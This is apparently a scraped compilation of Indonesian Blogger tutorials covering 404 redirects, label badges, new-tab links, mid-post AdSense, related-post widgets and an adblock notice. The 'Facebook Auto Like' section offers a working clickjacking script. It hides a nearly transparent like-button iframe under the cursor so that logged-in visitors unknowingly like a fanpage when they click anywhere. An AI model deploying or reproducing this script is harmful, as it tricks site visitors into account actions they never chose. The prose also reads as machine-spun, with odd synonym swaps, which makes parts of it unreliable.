Cara Redirect Page Not Found Ke Halaman Lain

Cara Redirect Page Not Found Ke Halaman Lain

Javascript Tips Blogger

Cara Redirect Page Not Found ke Halaman Lain - Ketika halaman telah terindeks di SERP Google, kemudian halaman tersebut dihapus. Orang yang menuju ke halaman tersebut akan menemui pesan Page Not Found, kebanyakan orang akan menutup halaman page not found ini, biar orang itu tertarik, ada baiknya kita redirect saja halaman page not found ke halaman lain yang lebih menarik.

Cara Redirect Page Not Found Blogger ke Page Lain

Langsung saja ke tutorialnya ya. Pertama, Salin arahan berikut ini.

<script type = "text/javascript"> yukita_redirect = setTimeout(function() { window.location.href = 'http://URLPAGEANDA'; }, 10); </script>

Ganti URLPAGEANDA sesuai dengan url halaman yang sahabat inginkan, rujukan contohnya aku ingin meredirect page not found ke halaman kontak blog, maka kodenya jadi ibarat ini

<script type = "text/javascript"> yukita_redirect = setTimeout(function() { window.location.href = 'http://www.arlinadzgn.com/p/contact.html'; }, 10); </script>

Setelah itu, masuk ke blogger > preferensi penelusuran > pesan khusus untuk laman tidak ditemukan > edit, kemudian paste arahan tersebut di dalamnya kemudian simpan perubahan.

Coba telusuri suatu laman yang tidak ada di blog sobat, kalau berhasil maka segera sesudah halaman page not found muncul, browser akan membuka halaman yang ada di setting diatas.

Semoga Bermanfaat.
Sumber http://arlinadesign.blogspot.com

Cara Memasang Facebook Auto Like Di Blog

Cara Memasang Facebook Auto Like Di Blog

Facebook Javascript Tips Blogger

Cara Memasang Facebook Auto Like Terbaru 2016 di Blog - Saat ini pengguna Facebook yang memliki fanpage semakin meningkat, namun acapkali jumlah like/suka terhadap fanpage yang kita miliki jauh lebih rendah dibandingkan jumlah pertemanan yang kita miliki.

Selain memakai cara manual dengan menginvite sobat semoga menyukai Fanpage yang kita miliki ada juga sacara lain yang lebih mudah dengan memasang script auto like fanpage. Syaratnya kau harus memiliki blog atau portal untuk menempatkan script autolike fanpage facebook ini. Mari kita ikuti langkah berikut ini :

Cara kerja script Auto Like Terbaru 2016

• Jika ada pengunjung blog dalam kondisi login facebook, maka secara otomatis akan me like asal ia malakukan klik dimanapun dalam blog sobat.
• jika ada pengunjung blog tidak dalam kondisi login facebook, dikala pengunjung tersebut melaksanakan klik dimanapun dalam blog sobat, maka akan muncul popup halaman login facebook.

Cara Memasang Facebook Auto Like di Blog

1. Login ke Blogger > Buka Template > Klik Edit HTML > Simpan isyarat di bawah ini sempurna di atas isyarat </body>

<script type='text/javascript'> //<![CDATA[ // Facebook var fan_page_url="https://www.facebook.com/arlinadesign",opacity=.01,time=15e3;(document.getElementById&&window.addEventListener||window.attachEvent)&&!function(){function e(e){var t,n;return h?(t=d.pageYOffset,n=d.pageXOffset):(t=d.scrollTop,n=d.scrollLeft),0==e?t:n}function t(t){var n=h?window.pageYOffset:0;t||(t=window.event),"number"==typeof t.pageY?(r=t.pageY-15-n,l=t.pageX-34):(r=t.clientY-16-n,l=t.clientX-36),u.top=r+e(0)+s,u.left=l+s}function n(){u.top=r+e(0)+s,setTimeout(n,300)}function o(){u=document.getElementById("theiframe").style,n()}function i(e){var t=document.cookie,n=t.indexOf(" "+e+"=");if(-1==n&&(n=t.indexOf(e+"=")),-1==n)t=null;else{n=t.indexOf("=",n)+1;var o=t.indexOf(";",n);-1==o&&(o=t.length),t=unescape(t.substring(n,o))}return t}function a(e,t,n){var o=new Date;o.setDate(o.getDate()+n);var i=escape(t)+(null==n?"":"; expires="+o.toUTCString());document.cookie=e+"="+i}var d,m,c=document,r=-10,l=-10,u="",p=(document.getElementsByTagName("div").length,"<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href="+encodeURIComponent(fan_page_url)+"&amp;layout=stsobatrd&amp;show_faces=true&amp;width=80&amp;action=like&amp;colorscheme=light&amp;height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:"+opacity+";filter:alpha(opacity="+100*opacity+");'></iframe>"),f=i("faceLike");null!=f&&""!=f||(a("faceLike","liked",1),document.write(p),m=document.getElementById("theiframe"),document.getElementsByTagName("body")[0].appendChild(m));var s="px",w="number"==typeof window.innerWidth,h="number"==typeof window.pageYOffset;w?d=window:c.documentElement&&"number"==typeof c.documentElement.clientWidth&&0!=c.documentElement.clientWidth?d=c.documentElement:c.body&&"number"==typeof c.body.clientWidth&&(d=c.body),0!=time&&setTimeout(function(){document.getElementsByTagName("body")[0].removeChild(m),window.addEventListener?document.removeEventListener("mousemove",t,!1):window.attachEvent&&document.detachEvent("onmousemove",t)},time),window.addEventListener?(window.addEventListener("load",o,!1),document.addEventListener("mousemove",t,!1)):window.attachEvent&&(window.attachEvent("onload",o),document.attachEvent("onmousemove",t))}(); //]]> </script>

2. Ganti isyarat yang saya tandai dengan alamat fanspage sobat. Kemudian simpan template.

Demikian tutorial sederhana Cara Memasang Facebook Auto Like di Blog. Semoga bermanfaat buat sobat semua.
Sumber http://arlinadesign.blogspot.com

Menandai Post Label Tertentu Dengan Tag Kondisional

Menandai Post Label Tertentu Dengan Tag Kondisional

HTML Javascript Tips Blogger

Menandai Post Label Tertentu dengan Tag Kondisional - Seperti yang kita tahu sekarang Blogger mengupdate fitur-fitur terbaru yang dapat kita manfaatkan semoga acara blogging menjadi semakin menarik. Salah satu fitur barunya ialah fitur Lambda Expression yang dapat mempersingkat penuisan markup pada tag kondisional tertentu sehingga akan menjadi lebih sederhana dan menghemat penulisan kode.

Sebagai teladan pada tutorial blog kali ini aku akan memanfaatkan fitur tersebut pada post label di halaman index.

Disini kita dapat menambahkan icon, gambar maupun tulisan. Pada teladan ini aku akan menunjukkan post label dengan icon fontawesome menyerupai gambar di bawah ini.

Bukan hanya ditambahkan pada satu label saja, sahabat juga dapat menambahkan beberapa label tertentu dan membedakan tampilannya dengan mudah.

Bagaimana cara membuatnya?

Di bawah ini ialah instruksi yang dipakai untuk memunculkan icon jikalau sahabat memilih label tertentu pada postingan. instruksi di bawah ini dapat sahabat simpan sebelum instruksi epilog head.

<b:if cond='data:blog.pageType != &quot;item&quot;'> <b:if cond='data:blog.pageType != &quot;static_page&quot;'> <script type='text/javascript'> //<![CDATA[ //Post Label function label_pilihan(e){labelku=new Array,labelku[1]="<div class='badge badge1'><div class='badge-img'><i class='fa fa-star'></i></div></div>",labelku[2]="<div class='badge badge2'><div class='badge-img'><i class='fa fa-video-camera'></i></div></div>",labelku[3]="<div class='badge badge3'><div class='badge-img'><i class='fa fa-camera'></i></div></div>",labelku[4]="<div class='badge badge4'><div class='badge-img'><i class='fa fa-music'></i></div></div>",labelku[5]="<div class='badge badge5'><div class='badge-img'><i class='fa fa-paint-brush'></i></div></div>","Hot"==e&&document.write(labelku[1]),"Video"==e&&document.write(labelku[2]),"Gambar"==e&&document.write(labelku[3]),"Musik"==e&&document.write(labelku[4]),"Lukisan"==e&&document.write(labelku[5])} //]]> </script> </b:if> </b:if>

Kode yang ditandai merupakan nama-nama label yang ditentukan dan instruksi yang dapat sahabat ganti nantinya dengan kreasi sendiri.

Kode pemanggil

<b:loop values='data:post.labels' var='label'> <script type='text/javascript'>label_pilihan(&quot;<data:label.name/>&quot;);</script> </b:loop>

Untuk instruksi pemanggilnya dapat sahabat simpan di dalam markup post.

<b:includable id='post' var='post'>...</b:includable>

Atau dapat juga disimpan di dalam markup ini

<b:includable id='main' var='top'>...</b:includable>

CSS

Agar menciptakan tampilannya lebih menarik, sahabat dapat menambahkan CSS menyerupai di bawah ini

/* Post Label */ .badge{background:#95a5a6;color:#fff;position:absolute;font-weight:normal;line-height:1;bottom:0;right:0;left:0;display:block;text-align:center;width:100%;height:50px;line-height:50px;font-size:18px;z-index:1;transition:all .3s} .badge1{background:#e89c0f;opacity:.98} .badge2{background:#40d47e;opacity:.98} .badge3{background:#3498db;opacity:.98} .badge4{background:#1abc9c;opacity:.98} .badge5{background:#95a5a6;opacity:.98} .post:hover .badge{color:rgba(255,255,255,.6);font-size:44px;height:100%;line-height:100%} .post:hover .badge-img{margin:85px 0 0 0}

Cara kerja dari instruksi di atas ialah jikalau sahabat menunjukkan label pada postingan tertentu, maka otomatis akan memunculkan icon yang sudah dimodifikasi menyerupai teladan di bawah ini.

Demo

Semoga dengan teladan Menandai Post Label Tertentu dengan Tag Kondisional yang sudah aku bagikan akan menunjukkan wangsit bagi sahabat semua. Terima kasih.
Sumber http://arlinadesign.blogspot.com

Membuka Semua Tautan Eksternal Di Tab Baru

Membuka Semua Tautan Eksternal Di Tab Baru

Javascript Tips Blogger

Untuk mencegah pembaca blog Anda meninggalkan blog tanpa membaca satu atau hanya satu pos, Anda harus berpikir untuk membuka tautan dari blog Anda di tab baru.

Ini juga membantu meningkatkan keseluruhan tampilan halaman dan mengurangi tingkat bouncing. Tingkat bouncing Blog ialah salah satu faktor penting dalam blogging dan hanya didefinisikan sebagai jumlah pembaca yang meninggalkan blog Anda tanpa membaca satu atau hanya satu pos. Ini berarti lebih banyak tingkat bouncing.

Bila kita mempertimbangkan untuk mengurangi rasio pentalan kami, hal pertama yang disarankan pikiran kami ialah membuka tautan di tab gres dan pentingnya meningkatkannya kalau bekerjasama dengan tautan eksternal.

Ini dapat dilakukan secara manual untuk setiap link yang ingin Anda buka di tab gres dengan menambahkan sasaran = "_ blank" di dalam hyperlink atau di editor blogger dikala Anda memasang link dengan mencentang properti Checkbox "Buka link ini di jendela baru".

Tapi cara ini mungkin merupakan kiprah berat kalau Anda mempunyai sejumlah besar tautan untuk melaksanakan ini. Makara di sini saya memberi Anda skrip jQuery sederhana untuk membuka semua tautan eksternal di tab baru.

Langkah-langkah untuk Membuka semua Tautan Eksternal di Tab Baru

1. Pergilah ke dasbor blogger Anda
2. Pilih blog anda >> Template
3. Cadangan template Anda sebelum mengedit
4. Klik "Edit HTML"
5. Temukan tag </head> di HTML
6. Tambahkan arahan berikut sempurna di atas tag </head>
7. Simpan Template kamu, semuanya sudah selesai.

<script type='text/javascript'>  $(document).ready(function() {  $("a[href^='http://']").each(  function(){  if(this.href.indexOf(location.hostname) == -1) {  $(this).attr('target', '_blank');  }  }  );  $("a[href^='https://']").each(  function(){  if(this.href.indexOf(location.hostname) == -1) {  $(this).attr('target', '_blank');  }  }  );  });  </script>

Link yang Dipengaruhi Dengan Script jQuery di atas

Script jQuery di atas akan menyidik semua hyperlink di dalam halaman blog Anda dan akan menambahkan atribut sasaran = "_ blank" ke link yang bersifat eksternal. Ini tidak akan kuat pada tautan internal blog. Script hanya akan mendeteksi hostname eksternal dan dikala menemukannya, dia akan memasukkan atribut sasaran html yang memberitahu browser untuk membuka link di jendela baru.
Sumber http://arlinadesign.blogspot.com

Cara Memasang Iklan Adsense Di Tengah Postingan

Cara Memasang Iklan Adsense Di Tengah Postingan

AdSense CSS HTML Javascript Tips Blogger

Cara Memasang Iklan Adsense di Tengah Postingan - Masih membahas seputar Adsense, kali ini membahas perihal trik dan tips Cara Memasang Iklan Adsense di tengah postingan. Sebetulnya sudah berbagai artikel yang membahas perihal trik ini, namun kebetulan di blog ini belum ada jadi aku bagikan dan mungkin judulnya agak mainstream berdasarkan aku tapi tidak apa-apa yang penting berbagi.

Manfaat dari trik Memasang Iklan Adsense di tengah postingan ini ialah teman sanggup lebih meningkatkan pendapatan Google Adsense blog teman dengan jumlah rasio klik yang lebih tinggi dan biasanya akan lebih menarik minat pembaca dengan konten iklan yang ditampilkan sebab posisi iklan yang strategis berada di tengah postingan. Singkat saja, berikut Cara Memasang Iklan Adsense di Tengah Postingan.

Cara Memasang Iklan Adsense di Tengah Postingan

Caranya sangat mudah, d sini teman hanya perlu mengganti isyarat tertentu pada template dan menggantinya dengan isyarat yang akan aku berikan pada panduan di bawah ini.

1. Silakan login ke Blogger dan pilih blog yang akan diedit, klik hidangan Template, klik tombol Edit HTML, lalu cari dan ganti isyarat ini <data:post.body/> di template teman dengan isyarat di bawah ini

Di dalam template teman akan menemukan beberapa isyarat <data:post.body/> tergantung template yang digunakan, coba satu persatu hingga iklan tampil di dalam halaman artikel

<div expr:id='&quot;zet1&quot; + data:post.id'/> <div class='googlezet'> <!-- pasang isyarat iklan yang telah diparse di sini --> </div> <div expr:id='&quot;zet2&quot; + data:post.id'><p><data:post.body/></p></div> <script type='text/javascript'> var obj0=document.getElementById(&quot;zet1<data:post.id/>&quot;);var obj1=document.getElementById(&quot;zet2<data:post.id/>&quot;);var s=obj1.innerHTML;var t=s.substr(0,s.length/3);var r=t.lastIndexOf(&quot;&lt;br&gt;&quot;);if(r&gt;0) {obj0.innerHTML=s.substr(0,r);obj1.innerHTML=s.substr(r+16);} </script>

Tambahkan isyarat iklan pada isyarat yang ditandai

2. Tambahkan juga isyarat CSS di bawah ini semoga tampilan iklan terlihat rapi rata tengah sebelum  ]]></b:skin> atau </style>

.googlezet{margin:15px auto;text-align:center}

3. Simpan template dan lihat hasilnya.

Result

Bukan hanya untuk menampilkan iklan dari Google Adsense, namun teman juga sanggup memasang isyarat iklan lain atau konten lain menyerupai link postingan terkait, atau lainnya.

Demikian artikel singkat yang mudah-mudahan bermanfaat bagi sobat, terima kasih sudah berkunjung dan salam blogger.
Sumber http://arlinadesign.blogspot.com

Cara Memasang Artikel Terkait Di Dalam Postingan

Cara Memasang Artikel Terkait Di Dalam Postingan

CSS HTML Javascript Tips Blogger Widget

Cara Memasang Artikel Terkait di Dalam Postingan - Halo sahabat blogger, tentunya sahabat sudah mengetahui dengan fungsi sebuah widget artikel terkait di blog yang menampilkan sejumlah artikel terkait sesuai label di bawah artikel baik itu dalam bentuk link dan thumbnail ataupun link saja.

Namun sedikit berbeda dari sebelumnya, di sini aku akan menunjukkan tutorial Cara Memasang Artikel Terkait di Dalam Postingan. Seperti yang aku singgung sebelumnya di artikel Cara Memasang Iklan Adsense di Tengah Postingan bahwa sahabat juga sanggup memasang instruksi atau widget lain di dalam instruksi tersebut, tutorial blogger kali ini pun masih memakai instruksi yang sama. Tutorial ini aku dapatkan dari blog http://kileakskiteaks.blogspot.com/search?q=cara-memasang-iklan-adsense-di-tengah-postingan dan telah aku modifikasi kembali diadaptasi dengan style saya.

Manfaat lain yang didapatkan dari memasang artikel terkait di dalam postingan ini adalah untuk menambah jumlah pengunjung serta meningkatkan kualitas Internal Link di blog sobat.

Bagi yang ingin memasangnya di blog, silakan ikuti langkah-langkah Cara Memasang Artikel Terkait di Dalam Postingan atau lebih tepatnya di tengah konten artikel berikut ini

Cara Memasang Artikel Terkait di Dalam Postingan

1. Buka Blogger > Template > Klik tombol Edit HTML > Tambahkan instruksi di bawah ini sebelum tag </head>

<b:if cond='data:blog.pageType == &quot;item&quot;'> <script type='text/javascript'> //<![CDATA[ var relatedSimply = new Array(); var relatedSimplyNum = 0; var relatedUrls = new Array(); function related_results_labels(json) { for (var i = 0; i < json.feed.entry.length; i++) { var entry = json.feed.entry[i]; relatedSimply[relatedSimplyNum] = entry.title.$t; for (var k = 0; k < entry.link.length; k++) { if (entry.link[k].rel == 'alternate') {relatedUrls[relatedSimplyNum] = entry.link[k].href; relatedSimplyNum++; break;}}}} function removeRelatedDuplicates() { var tmp = new Array(0); var tmp2 = new Array(0); for(var i = 0; i < relatedUrls.length; i++) { if(!contains(tmp, relatedUrls[i])) { tmp.length += 1; tmp[tmp.length - 1] = relatedUrls[i]; tmp2.length += 1; tmp2[tmp2.length - 1] = relatedSimply[i];}} relatedSimply = tmp2; relatedUrls = tmp;} function contains(a, e) { for(var j = 0; j < a.length; j++) if (a[j]==e) return true; return false;} function printRelatedLabels() { var r = Math.floor((relatedSimply.length - 1) * Math.random()); var i = 0; document.write('<ul>'); while (i < relatedSimply.length && i < 20) { document.write('<li><a href="' + relatedUrls[r] + '">' + relatedSimply[r] + '</a></li>'); if (r < relatedSimply.length - 1) { r++; } else { r = 0;} i++;} document.write('</ul>');} //]]> </script> </b:if>

2. Tambahkan CSS di bawah ini sebelum instruksi ]]></b:skin> atau </style>

/* Related Post Style 1 */ .related-simplify{position:relative;padding:0;margin:15px auto;width:100%;} .related-simplify h4{background:#3498db;padding:8px 12px;margin:0;font-size:15px;font-weight:400;color:#fff;border:1px solid #2e88c5} .related-simplify ul{margin:0;padding:0} .related-simplify ul li{background:#f6f6f6;position:relative;list-style:none;padding:9px;margin:auto;line-height:1.4em;border:1px solid rgba(0,0,0,0.1);border-bottom:0;transition:all .3s} .related-simplify ul li:nth-child(odd){background:#fefefe} .related-simplify ul li:last-child{border-bottom:1px solid rgba(0,0,0,0.1)} .related-simplify ul li:before{content:'\f138';font-family:fontawesome;position:absolute;margin:0 9px 0 4px;color:#2ecc71;overflow:hidden;transition:all .3s} .related-simplify ul li:hover:before{content:'\f138';font-family:fontawesome;-webkit-animation:bounceright .3s alternate ease infinite;animation:bounceright .3s alternate ease infinite} .related-simplify a{color:#0383d9;font-size:13px;margin:0 0 0 30px;} .related-simplify a:hover{color:#0383d9;text-decoration:underline} .related-simplify ul li:nth-child(n+4) {display:none;} @-webkit-keyframes bounceright{from{-webkit-transform:translateX(0)}to{-webkit-transform:translateX(3px)}} @keyframes bounceright{from{transform:translateX(0)}to{transform:translateX(3px)}}

Contoh tampilan widget Artikel Terkait Style 1

/* Related Post Style 2 */ .related-simplify{position:relative;padding:20px 12px 12px 12px;margin:32px auto 24px auto;width:93%;border:4px double rgba(0,0,0,0.2)} .related-simplify h4{background:#fff;padding:8px 10px;position:absolute;margin:0;font-size:17px;font-weight:700;color:#000;top:-21px;left:2.5%} .related-simplify ul{margin:0;padding:0} .related-simplify ul li{position:relative;list-style:none;padding:9px 0;margin:auto;line-height:1.4em;transition:all .3s} .related-simplify ul li:before{content:'\f0c8';font-family:fontawesome;position:absolute;margin:0 5px 0 2px;color:rgba(0,0,0,0.5);overflow:hidden;font-size:60%;left:10px;transition:all .3s} .related-simplify ul li:hover:before{content:'\f0c8';font-family:fontawesome;color:#0383d9;} .related-simplify a{color:#000;font-size:14px;margin:0 0 0 30px;} .related-simplify a:hover{color:#0383d9;} .related-simplify ul li:nth-child(n+4) {display:none;} @media only screen and (max-width:768px){ .related-simplify{padding:15px 0 10px 0;width:100%;border:2px solid #e74c3c;border-left:0;border-right:0} .related-simplify h4{color:#e74c3c;padding:8px;font-size:15px;top:-18px;left:3.5%} .related-simplify a{font-size:14px;margin:0}.related-simplify a:hover{color:#e74c3c} .related-simplify ul li{padding:5px 0} .related-simplify ul li:before,.related-simplify ul li:hover:before{display:none}}

Contoh tampilan widget Artikel Terkait Style 2

/* Related Post Style 3 */ .related-simplify{display:inline-block;background:#34495e;color:#fff;position:relative;padding:0;margin:20px auto;width:100%;border:6px double #fff;} .related-simplify ul{background:rgba(38,62,87,0.8);margin:0;padding:20px} .related-simplify ul li{position:relative;list-style:none;padding:9px 0;margin:auto;line-height:1.4em;transition:all .3s} .related-simplify ul li:before{content:'\f0c8';font-family:fontawesome;position:absolute;margin:0 5px 0 2px;color:rgba(255,255,255,0.7);overflow:hidden;font-size:60%;left:10px;transition:all .3s} .related-simplify ul li:hover:before{content:'\f0c8';font-family:fontawesome;color:#f1c40f;} .related-simplify a{color:#fff;font-size:17px;margin:0 0 0 30px;} .related-simplify a:hover{color:#fff;text-decoration:underline} .related-simplify ul li:nth-child(n+4) {display:none;} @media only screen and (max-width:768px){ .related-simplify{padding:15px 0 10px 0;width:100%;border:2px solid #e74c3c;border-left:0;border-right:0} .related-simplify h4{color:#e74c3c;padding:8px;font-size:15px;top:-18px;left:3.5%} .related-simplify a{font-size:14px;margin:0}.related-simplify a:hover{color:#e74c3c} .related-simplify ul li{padding:5px 0} .related-simplify ul li:before,.related-simplify ul li:hover:before{display:none}}

Pastikan di blog sahabat sudah memasang Font Awesome semoga icon sanggup muncul

3. Selanjutnya, cari dan ganti instruksi <data:post.body/> dengan instruksi di bawah ini

Di dalam template sahabat akan menemukan beberapa instruksi <data:post.body/> tergantung template yang digunakan, coba satu persatu hingga artikel terkait muncul di dalam halaman artikel

<div expr:id='&quot;post1&quot; + data:post.id'/> <div class='related-simplify'> <b:if cond='data:post.labels'> <b:loop values='data:post.labels' var='label'> <b:if cond='data:blog.pageType == &quot;item&quot;'> <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels&amp;max-results=3&quot;' type='text/javascript'/> </b:if> </b:loop> </b:if> <h4>Baca Juga</h4> <script type='text/javascript'> removeRelatedDuplicates(); printRelatedLabels(); </script> </div> <div expr:id='&quot;post2&quot; + data:post.id'><p><data:post.body/></p></div> <script type='text/javascript'> var obj0=document.getElementById(&quot;post1<data:post.id/>&quot;); var obj1=document.getElementById(&quot;post2<data:post.id/>&quot;); var s=obj1.innerHTML; var t=s.substr(0,s.length/2); var r=t.lastIndexOf(&quot;&lt;br&gt;&quot;); if(r&gt;0) {obj0.innerHTML=s.substr(0,r);obj1.innerHTML=s.substr(r+4);} </script>

4. Simpan template dan lihat hasilnya.

Result

Makara dengan memasang instruksi ini sahabat tidak perlu lagi repot-repot memasang link secara manual di artikel blog. Demikian tutorial Cara Memasang Artikel Terkait di Dalam Postingan yang sanggup berikan. Terima kasih sudah berkunjung dan semoga bermanfaat.
Sumber http://arlinadesign.blogspot.com

Notifikasi Adblocker Adsense Ala Kompi Ajaib

Notifikasi Adblocker Adsense Ala Kompi Ajaib

AdSense CSS HTML Javascript Tips Blogger

Salam Blogger, kali ini akan menyebarkan tutorial cara menunjukkan notifikasi adblocker adsense dikala pengguna mengakses blog dan mengaktifkan ekstensi adblock di browser.

Tutorial ini aku sanggup dari blog Kompi Ajaib yang dikelola oleh admin Menambahkan Notifikasi Adblocker Adsense di dalam blog teman sanggup mengunjungi sumbernya di http://kileakskiteaks.blogspot.com/search?q=notifikasi-adblocker-adsense-ala-kompi-ajaib

Dalam tutorial ini, aku hanya memodifikasi tampilan notifikasi dari sumber yang sudah aku sebutkan di atas. Tampilan notifikasi Adblocker Adsense akan muncul kalau teman mengaktifkan ekstensi adblock di browsernya akan terlihat ibarat gambar di bawah ini

Membuat Notifikasi Adblocker Adsense Ala Kompi Ajaib

Di sini aku menunjukkan 2 style yang berbeda ibarat gambar di bawah ini

Style 1

Style 2

Pertama, buka Blogger > Template > Klik Edit HTML > Tambahkan CSS berikut sebelum isyarat ]]></b:skin> atau </style>

/* Notifikasi Adblocker Adsense */ #keep-ads{padding:0;position:fixed;bottom:0;opacity:0;height:auto;transition:all .6s cubic-bezier(.25,.8,.25,1);-webkit-transform:translateZ(0);transform:translateZ(0);backface-visibility:hidden;transition:all .2s ease-in-out,visibility 0s;transform-origin:bottom center;} .keep-adsme{background:#e74c3c;color:#fff;position:absolute;text-align:center;padding:0 30px 30px 30px;margin:auto;top:30%;left:0;right:0;font-size:1.5rem;line-height:1.5;font-family:monospace;max-width:930px;box-shadow:0 20px 10px -10px rgba(0,0,0,0.15);transition:all .6s cubic-bezier(.25,.8,.25,1);border:15px solid rgba(0,0,0,.07);overflow:hidden;} .keep-adsme:hover{box-shadow:0 20px 10px -10px rgba(0,0,0,0.2);} .keep-adsme h4{display:inline-block;background:rgba(0,0,0,.07);padding:5px 25px 15px 25px;font-size:2.2rem;margin:0 auto} #keep-ads p{margin:0} #keep-ads a{color:#ffe88b;}#keep-ads a:hover{color:#ffe88b;text-decoration:underline} #keep-ads.show{left:0;top:0;right:0;z-index:1000;pointer-events:auto;opacity:1;visibility:visible;transform:rotateX(0deg) rotateY(0deg) rotateZ(0deg) scale(1);animation:wobble .7s;opacity:1;} .close-keep-ads{visibility:hidden;opacity:0;color:#ffe88b;text-align:center;position:absolute;bottom:10px;right:10px;font-size:42px;cursor:pointer;width:30px;height:30px;line-height:30px;border-radius:100%;transition:all .6s cubic-bezier(.25,.8,.25,1);transform:translate(0,50px);} .close-keep-ads:hover{color:#fff;transform:scale(1.0);} .keep-adsme:hover .close-keep-ads{visibility:visible;opacity:1;color:#ffe88b;transform:translate(0,0);} #keep-ads p span {font-family:fontawesome;font-size:5rem;} @keyframes wobble{0%{transform:scale(0) rotate(-54deg) translatey(40px)}45%{transform:scale(1.1) rotate(20deg) translatey(0px)}60%{transform:scale(1) rotate(-15deg) translatey(0px)}77%{transform:scale(1) rotate(10deg) translatey(0px)}100%{transform:translatey(0)}}

/* Notifikasi Adblocker Adsense */ #keep-ads{padding:0;position:fixed;bottom:0;opacity:0;height:auto;transition:all .6s cubic-bezier(.25,.8,.25,1);-webkit-transform:translateZ(0);transform:translateZ(0);backface-visibility:hidden;transition:all .2s ease-in-out,visibility 0s;transform-origin:bottom center;} .keep-adsme{background:#e74c3c;color:#fff;position:absolute;text-align:center;padding:0;margin:auto;top:30%;left:0;right:0;font-size:1.2rem;line-height:1.5;max-width:930px;box-shadow:0 0 50px rgba(0,0,0,0.25);transition:all .6s cubic-bezier(.25,.8,.25,1);overflow:hidden} .keep-adsme:hover{box-shadow:0 0 20px rgba(0,0,0,0.15);} .keep-adsme h4{background:#d04537;color:#fff;padding:15px 25px;font-size:2.2rem;margin:0 auto;border-bottom:1px solid rgba(0,0,0,0.1);} .keep-me{border-top:1px solid rgba(255,255,255,0.1);padding:10px 30px 50px 30px} #keep-ads p{margin:0} #keep-ads a{color:#ffe88b;}#keep-ads a:hover{color:#ffe88b;text-decoration:underline} #keep-ads.show{left:0;top:0;right:0;z-index:1000;pointer-events:auto;opacity:1;visibility:visible;transform:rotateX(0deg) rotateY(0deg) rotateZ(0deg) scale(1);animation:wobble .7s;opacity:1;} .close-keep-ads{visibility:hidden;opacity:0;color:#ffe88b;text-align:center;position:absolute;bottom:10px;right:10px;font-size:32px;cursor:pointer;width:30px;height:30px;line-height:30px;border-radius:100%;transition:all .6s cubic-bezier(.25,.8,.25,1);transform:translate(0,50px);} .close-keep-ads:hover{color:#fff;transform:scale(1.0);} .keep-adsme:hover .close-keep-ads{visibility:visible;opacity:1;color:#ffe88b;transform:translate(0,0);} #keep-ads p span {font-family:fontawesome;font-size:5rem;} @keyframes wobble{0%{transform:scale(0) rotate(-54deg) translatey(40px)}45%{transform:scale(1.1) rotate(20deg) translatey(0px)}60%{transform:scale(1) rotate(-15deg) translatey(0px)}77%{transform:scale(1) rotate(10deg) translatey(0px)}100%{transform:translatey(0)}}

Tambahkan juga CSS di bawah ini (Khusus tampilan smartphone)

<b:if cond='data:blog.isMobileRequest == "true"'> <style type='text/css'> .keep-adsme{top:0;padding:15px;border:0;font-size:1.1rem;opacity:.99;bottom:0;font-family:arial;} .keep-adsme h4{background:transparent;font-size:1.5rem;margin:40px auto 0 auto;} .close-keep-ads{text-align:center;visibility:visible;opacity:1;color:#fff;bottom:20px;right:20px;padding:0;font-size:32px;width:38px;height:38px;line-height:32px;border-radius:100%;border:2px solid #fff;transform:translate(0,0);} .close-keep-ads:hover,.keep-adsme:hover .close-keep-ads{background:#fff;color:#e74c3c;} </style> </b:if>

Kemudian tambahkan Javascript di bawah ini sebelum isyarat </body>

<script type='text/javascript'> //<![CDATA[ // Notifikasi Adblocker Adsense function hidekeep(){document.getElementById("keep-ads").style.display="none"}setTimeout(function(){var e=document.getElementById("keep-ads"),t=document.querySelectorAll("ins.adsbygoogle");0===$(t).height()&&(e.className="show")},2e3); //]]> </script>

Selanjutnya, tambahkan HTML di bawah ini bebas di dalam isyarat <body> dan </body>

<div id='keep-ads'> <div class='keep-adsme'>   <p><h4>Adblock Detected</h4></p>   <p><span><i aria-hidden='true' class='fa fa-exclamation-triangle'/></span></p>   <p>Like this blog? Keep us running by whitelisting this blog in your ad blocker</p>   <p>This is <a href='http://www.arlinadzgn.com/p/whitelisting-arlina-design.html' target='_blank' title='Show me how'>how to whitelisting</a> this blog in your ad blocker</p>   <p>Thank you</p> <div class='close-keep-ads' onclick='hidekeep()'>&#215;</div> </div> </div>

<div id='keep-ads'> <div class='keep-adsme'>   <p><h4>Adblock Detected</h4></p> <div class='keep-me'>   <p><span><i aria-hidden='true' class='fa fa-exclamation-triangle'/></span></p>   <p>Like this blog? Keep us running by whitelisting this blog in your ad blocker</p>   <p>This is <a href='http://www.arlinadzgn.com/p/whitelisting-arlina-design.html' target='_blank' title='Show me how'>how to whitelisting</a> this blog in your ad blocker</p>   <p>Thank you</p> </div> <div class='close-keep-ads' onclick='hidekeep()'>&#215;</div> </div> </div>

Di sini aku menambahkan ikon fontawesome dan pastikan di blog teman sudah menambahkan library css fontawesome. Jika tidak, teman sanggup hapus pada isyarat yang ditandai.

Edit isyarat yang ditandai ganti link dengan url tujuan. Contoh goresan pena yang ada dalam link tersebut aku dapatkan dari blog Kompi Ajaib.

Jika teman ingin menyembunyikan isyarat di atas dari smartphone dan halaman statis, teman sanggup membungkus isyarat tersebut dengan tag kondisional ibarat pola di bawah ini

Pastikan tidak memakai cara ini kalau ingin memunculkan notifikasi pada smartphone

<b:if cond='data:blog.isMobileRequest == &quot;false&quot;'> <b:if cond='data:blog.pageType != &quot;static_page&quot;'> <div id='keep-ads'> <div class='keep-adsme'>   <p><h4>Adblock Detected</h4></p>   <p><span><i aria-hidden='true' class='fa fa-exclamation-triangle'/></span></p>   <p>Like this blog? Keep us running by whitelisting this blog in your ad blocker</p>   <p>This is <a href='http://www.arlinadzgn.com/p/whitelisting-arlina-design.html' target='_blank' title='Show me how'>how to whitelisting</a> this blog in your ad blocker</p>   <p>Thank you</p> <div class='close-keep-ads' onclick='hidekeep()'>&#215;</div> </div> </div> </b:if> </b:if>

Selesai! Simpan template dan lihat hasilnya.

Cara Menyembunyikan Konten Blog Jika Javascript Dinonaktifkan

Trik Tambahan, pola ibarat pada gambar di atas

